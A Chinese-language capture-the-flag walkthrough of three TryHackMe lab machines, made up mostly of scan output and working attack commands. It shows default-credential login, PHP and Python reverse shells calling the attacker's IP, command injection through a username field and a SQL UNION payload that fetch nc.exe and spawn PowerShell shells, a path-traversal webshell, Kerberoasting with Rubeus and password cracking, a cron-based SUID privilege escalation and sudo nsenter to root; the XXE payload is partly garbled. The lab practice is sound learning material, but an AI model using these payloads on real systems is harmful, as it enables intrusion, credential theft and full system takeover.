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本文渗透的主机经过合法授权。本文使用的工具和方法仅限学习交流使用，请不要将文中使用的工具和渗透思路用于任何非法用途，对此产生的一切后果，本人不承担任何责任，也不对造成的任何误用或损害负责。
Easy Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# nmap -sV -Pn 10.10.134.251
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-25 04:36 EDT
Nmap scan report for 10.10.134.251
Host is up (0.31s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8001/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8002/tcp open http Apache httpd 2.4.29 ((Ubuntu))
9999/tcp open abyss?爆破8000端口的目录
──(rootkali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u 10.10.134.251:8000
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 6100
Error Log: /root/dirsearch/logs/errors-21-10-25_04-57-13.log
Target: 10.10.134.251:8000
[04:57:13] Starting:
[04:57:22] 200 - 2KB - /about
[04:57:33] 200 - 2KB - /contact
[04:57:47] 500 - 613B - /public_html/robots.txt
[04:57:47] 200 - 30B - /robots.txt robots.txt显示有一个cms
User-agent: *
Disallow: /vbcms打开是一个登陆页面，尝试用admin:admin登陆，居然登陆上了。。。
登陆进去是一个页面编辑界面，可以直接改网页源代码，尝试写php发现可以运行，那就简单了，直接写shell。。。
开启一个端口监听，把shell写进首页，访问，触发反弹
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.134.251] 59268
Linux web-serv 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
10:30:53 up 1:08, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(serv1) gid=1000(serv1) groups=1000(serv1),43(utmp)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(serv1) gid=1000(serv1) groups=1000(serv1),43(utmp)
$ whoami
serv1
根据提示，第一个flag在/usr/games/fortune，去到这个网站兑换到tryhackme需要的flag
然后第二个，第三个按照指示去到/var/lib/rary和/var/www/serv4/index.php起上面网站兑换指定flag
提权
传linpeas.sh，发现/home/serv3/backups/backup.sh这个定时任务是用root身份执行的，频率为一分钟一次
查看bash文件权限
serv1@web-serv:/tmp$ ls -alh /home/serv3/backups/backup.sh
ls -alh /home/serv3/backups/backup.sh
-r-xr-xr-x 1 serv3 serv3 52 Feb 15 2021 /home/serv3/backups/backup.shserv1没有权限编辑这个文件，也就是说我们需要横向提权到serv3？
在/var/www/html/topSecretPrivescMethod找到一个secret.txt，看文件夹名字是提权方法，但是打开是一串乱码
在:8002/lesson/1这个php运行页面，本来可以直接运行php反弹shell，但是因为页面连接了一个谷歌前端框架，我kali不能，所以不能运行反弹不了shell
于是研究了下怎么在linux下连v2ray，终于找到了这篇文章,按照里面的方法fq成功
回到上面那个页面，写入php反弹shell，拿到serv3的shell
┌──(rootkali)-[~/tryhackme/hackhill]
└─# nc -lnvp 4444 1 ⨯
listening on [any] 4444 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.172.149] 33814
Linux web-serv 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
14:49:20 up 1:13, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1002(serv3) gid=1002(serv3) groups=1002(serv3)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(serv3) gid=1002(serv3) groups=1002(serv3)我们写入下面命令到backup.sh，使得bash命令成为一个SUIDecho "chmod 4777 /bin/bash" >> /home/serv3/backups/backup.sh
等待一分钟以后，执行/bin/bash -p拿到root权限
serv3@web-serv:/$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=1002(serv3) gid=1002(serv3) euid=0(root) groups=1002(serv3)
bash-4.4# cat /root/root.txt Medium Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackhill]
└─# nmap -sV -Pn 10.10.48.179 130 ⨯
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-25 10:00 EDT
Nmap scan report for 10.10.48.179
Host is up (0.32s latency).
Not shown: 985 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
81/tcp open http Microsoft IIS httpd 10.0
82/tcp open http Microsoft IIS httpd 10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-10-25 14:01:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: troy.thm0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: troy.thm0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
9999/tcp open abyss?中等难度是一台windows机器，开了很多服务，一个个查看
80,81,82都是http服务，逐个爆破目录
80
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.48.179/_21-10-25_10-10-52.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-10-52.log
Target: http://10.10.48.179/
[10:10:53] Starting:
[10:11:00] 200 - 2KB - /%3f/
[10:11:00] 403 - 312B - /%2e%2e//google.com
[10:11:00] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:11:09] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:11:28] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:11:33] 302 - 0B - /dashboard -> /login
[10:11:48] 200 - 3KB - /login
[10:11:48] 200 - 3KB - /login/
[10:11:49] 302 - 0B - /logout/ -> /
[10:11:49] 302 - 0B - /logout -> /
[10:12:26] 302 - 0B - /profile -> /login
[10:12:45] 200 - 3KB - /signup 81
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179:81
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.48.179-81/_21-10-25_10-27-15.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-27-15.log
Target: http://10.10.48.179:81/
[10:27:16] Starting:
[10:27:22] 200 - 5KB - /%3f/
[10:27:22] 403 - 312B - /%2e%2e//google.com
[10:27:23] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:27:31] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:27:57] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:28:32] 400 - 24B - /ping 82
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179:82
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.48.179-82/_21-10-25_10-29-15.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-29-15.log
Target: http://10.10.48.179:82/
[10:29:16] Starting:
[10:29:24] 403 - 312B - /%2e%2e//google.com
[10:29:25] 404 - 1KB - /+CSCOE+/session_password.html
[10:29:25] 404 - 1KB - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../
[10:29:25] 404 - 1KB - /+CSCOE+/logon.html#form_title_text
[10:29:25] 404 - 1KB - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua
[10:29:25] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:29:26] 404 - 1KB - /.config/psi+/profiles/default/accounts.xml
[10:29:41] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd
[10:30:15] 404 - 1KB - /bitrix/web.config
[10:30:17] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[10:30:19] 404 - 1KB - /cms/Web.config
[10:30:30] 404 - 1KB - /examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:30:41] 404 - 1KB - /lang/web.config
[10:30:50] 404 - 1KB - /modules/web.config
[10:31:00] 404 - 1KB - /plugins/web.config
[10:31:19] 404 - 1KB - /typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql
[10:31:19] 404 - 1KB - /typo3conf/ext/static_info_tables/ext_tables_static+adt.sql
[10:31:24] 404 - 1KB - /web.config 80服务运行一个上传服务，但是只能指定.jpg文件上传，试了绕不过去
81服务运行了一个ping域名的服务，尝试命令行绕过，貌似不行
82服务没看到啥有用的东西
81端口看url:81/ping?id=1，测试了一下，存在sql注入，那么应该这个才是攻击点
枚举数据库
sqlmap -u "http://10.10.48.179:81/ping?id=1" -p "id" --batch --dbms=mysql --technique B --dbs
available databases [2]:
[*] information_schema
[*] networkmonitor
其他信息
数据表：host 表字段：id,ip
用户名：monitor_read@localhot
密码：枚举不出来
getshell
这个shell一直打不出来，这里参考大佬的方法
在http://10.10.48.179/profile页面，用户名这个字段可以自由修改
而且每次修改完，上传后的路径随即也会被改变
由此可以猜想上传代码可能为：
$old_username = 'admin'
$new_username = $GET['username']
system('mv ' . $old_username . ' '. $new_username)因为$old_username这里是用户可以控制的，也就是说可能存在命令行注入漏洞
验证：
在攻击机开启tcpdump监听所有icmp包
tcpdump -i tun0 icmp修改用户名payload为：admin_test | ping 10.13.21.169
如果监听能收到ping包，说明我们的命令注入成功
成功收到ping包：
┌──(rootkali)-[~]
└─# tcpdump -i tun0 icmp 1 ⨯
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
09:36:08.012297 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 13, length 40
09:36:08.012335 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 13, length 40
09:36:09.008655 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 14, length 40
09:36:09.008693 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 14, length 40
09:36:10.024224 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 15, length 40
09:36:10.024241 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 15, length 40
09:36:11.047680 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 16, length 40
09:36:11.047696 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 16, length 40把nc.exe传到靶机，以便我们反弹shell
curl -H "Cookie:token=eyJ1c2VybmFtZSI6ImFkbWluIiwiY29va2llIjoiZWRkYjkzY2UxODY5OTkwZDMyY2Y3ZWMzYTQyYWQxYzgifQ==" -XPOST http://10.10.48.179/profile -d 'username=asd | powershell curl 10.13.21.169:8000/nc.exe -o nc.exe'另起一个窗口监听 nc -lnvp 4242
靶机触发payload:
admin1 | nc.exe 10.13.21.169 4242 -e powershell收到反弹shell
┌──(rootkali)-[~]
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 50099
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\agamemnon\Desktop\WebApp\public> whoami
whoami
troy\agamemnon
在C:\Users\agamemnon\Desktop拿到用户agamemnon的flag
查看一共有多少个用户
PS C:\> net users
net users
User accounts for \\TROY-DC
-------------------------------------------------------------------------------
achilles Administrator agamemnon
Guest hector helen
krbtgt patrocles
传winPEASx64.exe枚举，几乎没有什么有用的信息
第二个shell
由于我们之前已经知道81端口存在一个sql注入，观察这个webapp的功能，如果我们能够改变host表ip这个字段的值，那么我们同样也可以利用命令行注入拿到另外一个shell
经过多翻测试，当前账号没有权限插入和修改数据库里的数据
这里使用CONCAT函数把注入命令当做一个字符串拼接到返回的结果当中，因为id=9999查询不到数据，返回的是一个空串，UNION把结果和"|ipconfig"连接在了一起，所以程序最后执行的命令是ping |ipconfig
payload如下：id=9999 UNION SELECT NULL,CONCAT("|","ipconfig")-- -
注入用burpsuite时上面的payload要用urlencode加密一下，否则会报400
由于我们现在已经可以注入命令，像前面那个shell一样我们把nc.exe传到靶机，然后再攻击机开启监听，拿到反弹shell
传nc.exe
id=9999 UNION SELECT NULL,CONCAT("|","powershell curl 10.13.21.169:8000/nc.exe -o nc.exe")-- -
本地监听
nc -lnvp 4444
反弹
id=9999 UNION SELECT NULL,CONCAT("|","nc.exe 10.13.21.169 4444 -e powershell")-- -
拿shell
──(rootkali)-[~/tryhackme/hackerhill]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 52658
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\helen\Desktop\WebApp\h1-tryhackme-medium-two-main\public> ls
PS C:\Users\helen\Desktop\WebApp\h1-tryhackme-medium-two-main\public> whoami
whoami
troy\helen
在C:\Users\helen\Desktop拿到helen的flag
第三个shell
82端口这个webapp的getshell非常的trick，以下解法参考了大佬的方法
分析
首先这是一个提交框，数据被提交到后台以后，在第二页的源代码注释会出现这样一行文字：
Ticket saved to ../tickets/
但是无论我们怎么访问，正常情况下都是不能访问tickets这个文件夹的
因为按照之前的经验，所有的webapp其实都是在public下，所以只要我们能够引导这个路径到public下，理论上我们就能在web上访问到tikeit的内容
经过测试Email Address这个字段可以接受双引号，邮箱格式结尾也允许.php
因此我们的payload如下：
Email Address: "../public/"@admin.php*
Name: *
Message: *
上传以后显示：
saved to ../tickets/../public/@aaa.php
触发访问：
http://10.10.48.179:82/@aaa.php?c=whoami
页面显示whoami命令返回
现在我们得到了一个简单的交互式shell
传nc.exe
http://10.10.48.179:82/@aaa.php?c=powershell curl 10.13.21.169:8000/nc.exe -o nc.exe
本地监听
nc -lnvp 4445
反弹
http://10.10.48.179:82/@aaa.php?c=nc.exe 10.13.21.169 4445 -e powershell
拿shell
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# nc -lnvp 4445
listening on [any] 4445 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 49810
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\Users\hector\Desktop\WebApp\h1-tryhackme-medium-three-main\public> whoami
whoami
troy\hector在C:\Users\hector\Desktop拿到hector的flag
提权
把Rubeus.exe传到靶机
PS C:\Users\hector\Desktop> powershell curl 10.13.21.169:8000/Rubeus.exe -o Rubeus.exe
powershell curl 10.13.21.169:8000/Rubeus.exe -o Rubeus.exe dump出用户哈希存到hash.txt
PS C:\Users\hector\Desktop> .\Rubeus.exe kerberoast /outfile:dump.txt
.\Rubeus.exe kerberoast /outfile:dump.txt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Action: Kerberoasting
[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
[*] Target Domain : troy.thm
[*] Searching path 'LDAP://TROY-DC.troy.thm/DC=troy,DC=thm' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
[*] Total kerberoastable users : 1
[*] SamAccountName : achilles
[*] DistinguishedName : CN=Achilles,OU=Created Users,DC=troy,DC=thm
[*] ServicePrincipalName : TIME/TROY-DC.TROY.THM
[*] PwdLastSet : 19/02/2021 18:32:09
[*] Supported ETypes : RC4_HMAC_DEFAULT
[*] Hash written to C:\Users\hector\Desktop\dump.txt
[*] Roasted hashes written to : C:\Users\hector\Desktop\dump.txt把dump.txt传回kali，用john破解
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# john dump.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
winniethepooh (?)
1g 0:00:00:00 DONE (2021-10-28 02:40) 50.00g/s 153600p/s 153600c/s 153600C/s slimshady..dangerous
Use the "--show" option to display all of the cracked passwords reliably
Session completed
得到achilles的登陆密码
登陆Achilles的账号，发现原来已经是system权限
┌──(rootkali)-[~/windowns-privilege/impacket]
└─# /opt/impacket/build/scripts-3.9/psexec.py TROY.thm/Achilles:[email protected]
Impacket v0.9.24.dev1+20210906.175840.50c76958 - Copyright 2021 SecureAuth Corporation
[*] Requesting shares on 10.10.48.179.....
[*] Found writable share ADMIN$
[*] Uploading file cbyYanQp.exe
[*] Opening SVCManager on 10.10.48.179.....
[*] Creating service CRPo on 10.10.48.179.....
[*] Starting service CRPo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1757]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system因为已经拿到了system权限，至此我们拿到了此靶机的所有flag
Hard Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackerhill]
└─# nmap -sV -Pn 10.10.243.173
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-28 04:04 EDT
Nmap scan report for 10.10.243.173
Host is up (0.33s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
81/tcp open http nginx 1.18.0 (Ubuntu)
82/tcp open http Apache httpd 2.4.41 ((Ubuntu))
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
8888/tcp open http Werkzeug httpd 0.16.0 (Python 3.8.5)
9999/tcp open abyss?开了两个ssh服务，以及4个http服务，8888那个端口用的是python做的webapp
我们一个个查看。。。
81端口
目录爆破
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -u http://10.10.243.173:81/ -e* -t 100
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-81/-_21-10-28_08-54-57.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_08-54-57.log
Target: http://10.10.243.173:81/
[08:54:59] Starting:
[08:55:40] 200 - 409KB - /access_log
[08:55:52] 301 - 178B - /images -> http://10.10.243.173/images/
[08:55:52] 403 - 564B - /images/
Task Completed /access_log 第一个访问记录暴露一个文件夹/s3cr3t_area,打开是一张图片，感觉没啥有用的信息。
82端口
目录爆破
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -u http://10.10.243.173:82/ -e* -t 100 2 ⨯
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak
HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-82/-_21-10-28_08-49-12.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_08-49-12.log
Target: http://10.10.243.173:82/
[08:49:13] Starting:
[08:49:32] 400 - 304B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[08:50:35] 400 - 304B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[08:50:50] 200 - 21B - /feed
[08:50:55] 301 - 316B - /images -> http://10.10.243.173:82/images/
[08:51:23] 200 - 2KB - /search
[08:51:31] 301 - 0B - /t -> /t/ 在http://10.10.243.173:82/t/r/y/h/a/r/d/e/r/spamlog.log找到信息
Nahamsec made me do it :(
没卵用
一个搜索框，在burpsuite上把搜索请求信息截取出来,保存到data2文件
└─# cat data2
POST /search HTTP/1.1
Host: 10.10.243.173:82
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Origin: http://10.10.243.173:82
Connection: close
Referer: http://10.10.243.173:82/search
Upgrade-Insecure-Requests: 1
q=a
sqlmap测试证实存在sql注入，payload为：
sqlmap -r data2 --level=5 --risk=3 --dbms=mysql
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: q=1%' AND 3240=3240 AND 'UEDj%'='UEDj枚举到的信息有：
数据库：hillpics
表：hill
当前用户：'hill'@'localhost'
密码：无法获取
当前用户角色和权限： USAGE （最低权限）
os-shell:无法获取
其余没有什么有用的信息
8888端口
爆破目录
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173:8888
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak
HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-8888/_21-10-28_09-36-47.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_09-36-47.log
Target: http://10.10.243.173:8888/
[09:36:47] Starting:
[09:38:05] 200 - 135B - /apps
[09:39:19] 200 - 45B - /users
Task Completed/apps打印:
{"app1": {"name": "online file storage"}, "app2": {"name": "media player"}, "app3": {"name": "file sync"}, "app4": {"name": "/users"}}
/users打印：
{"user": {"davelarkin": "totallysecurehuh"}}
这里爆出了davelarkin的ssh登录凭证，通过2222端口拿到了flag4
┌──(rootkali)-[~/.ssh]
└─# ssh [email protected] -p 2222 255 ⨯
The authenticity of host '[10.10.243.173]:2222 ([10.10.243.173]:2222)' can't be established.
ECDSA key fingerprint is SHA256:D0vPRUo5EfUivVKiJf3i6JIOF50DxmKg/avxmu6bx4o.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[10.10.243.173]:2222' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1037-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
davelarkin@a9ef0531077f:~$ whoami
davelarkin
davelarkin@a9ef0531077f:~$ ls
api bin container4_flag.txt
davelarkin@a9ef0531077f:~$ cat container4_flag.txt
传linpeas发现是在docker内
渗透80端口的http服务
目录爆破
┌──(rootkali)-[~/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/dirsearch/reports/10.10.243.173/_21-10-28_04-15-43.txt
Error Log: /root/dirsearch/logs/errors-21-10-28_04-15-43.log
Target: http://10.10.243.173/
[04:15:44] Starting:
[04:16:50] 200 - 136B - /api
[04:16:50] 200 - 136B - /api/
[04:17:27] 200 - 2KB - /login
[04:17:28] 200 - 2KB - /login/
[04:17:29] 302 - 0B - /logout -> /login
[04:17:29] 302 - 0B - /logout/ -> /login
[04:17:52] 302 - 0B - /shell -> /login
[04:17:52] 302 - 0B - /shell/ -> /login 我们看到至少有三个文件夹，shell这个文件夹应该有有趣的东西，但是重定向到了login
api文件夹可以正常打开，打印了一串json，暴露出来Apache，php,mysql的版本号，数据库名字：servermanager
{"name":"Server Manager","stack":{"nginx":"Apache/2.4.41 (Ubuntu)","php":"7.4.3","mysql":{"version":"5.6","database":"servermanager"}}}
login页面源代码显示，如果成功登录，将被导向一个token页面,并且可以携带一个参数
看样子像是一个servermanager数据库的登陆页面。不知道用户名
继续对/api/user爆破
┌──(rootkali)-[~/tryhackme/dirsearch]
└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173/api/user
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492
Output File: /root/tryhackme/dirsearch/reports/10.10.243.173/-api-user_21-10-28_09-49-39.txt
Error Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_09-49-39.log
Target: http://10.10.243.173/api/user/
[09:49:41] Starting:
[09:51:22] 200 - 53B - /api/user/login
[09:51:22] 200 - 53B - /api/user/login/
[09:51:44] 200 - 91B - /api/user/session/
[09:51:44] 200 - 91B - /api/user/session/api/user/session/打印
{"active_sessions":[{"id":1,"username":"admin","hash":"1b4237f476826986da63022a76c35bb1"}]}
貌似可以肯定用户名就是admin
1b4237f476826986da63022a76c35bb1是md5密文,解密以后是：dQw4w9WgXcQ
然而admin:dQw4w9WgXcQ不能登录
what the fuck....
这串古怪的符号和youtube上的这个视频的id居然一样：
视频是Rick Astley - Never Gonna Give You Up (Official Music Video)，不知道是作者在叫我不要放弃还是有什么提示。。。
爆破admin账号不成功，sql注入也没有结果。在我经验范围内，我已经用尽了所有方法，所以这个时候我只能看大佬walkthrough了： ）
原来是在burpsuite里用xml注入
payload
GET /api/user?xml HTTP/1.1
Host: 10.10.243.173
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 148
]>
∾ 返回了index.php的base64密文，解出来是：
最后在../controllers/Api.php找到admin的登录凭证：niceWorkHackerm4n
登录进去后在靶机提供的webshell栏写payload:
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.21.169",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'收到反弹shell
└─# nc -lnvp 4242
listening on [any] 4242 ...
connect to [10.13.21.169] from (UNKNOWN) [10.10.243.173] 59426
$ ls
ls
bootstrap.min.css bootstrap.min.js index.php jquery.min.js script.js
查看/etc/passwd我们知道admin是系统里的期中一个用户，由于我们已经知道admin的密码，这个时候本来可以直接su admin
然而这个系统并没有su 命令，这个时候可以使用ssh来转换角色
ssh admin@localhost sh
www-data@6b364d3940e6:/var/www/html/public$ ssh admin@localhost sh
ssh admin@localhost sh
admin@localhost's password:
id
uid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)
whoami
admin这个时候不要切换成tty，用sudo -l查看admin的超级权限，发现可以用/usr/bin/nsenter
sudo -l
Matching Defaults entries for admin on 6b364d3940e6:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on 6b364d3940e6:
(ALL) ALL
(ALL : ALL) ALL
(ALL) NOPASSWD: /usr/bin/nsenter
直接提权到root
sudo /usr/bin/nsenter /bin/sh
id
id
uid=0(root) gid=0(root) groups=0(root)
去/root/container1_flag.txt拿flag
提权
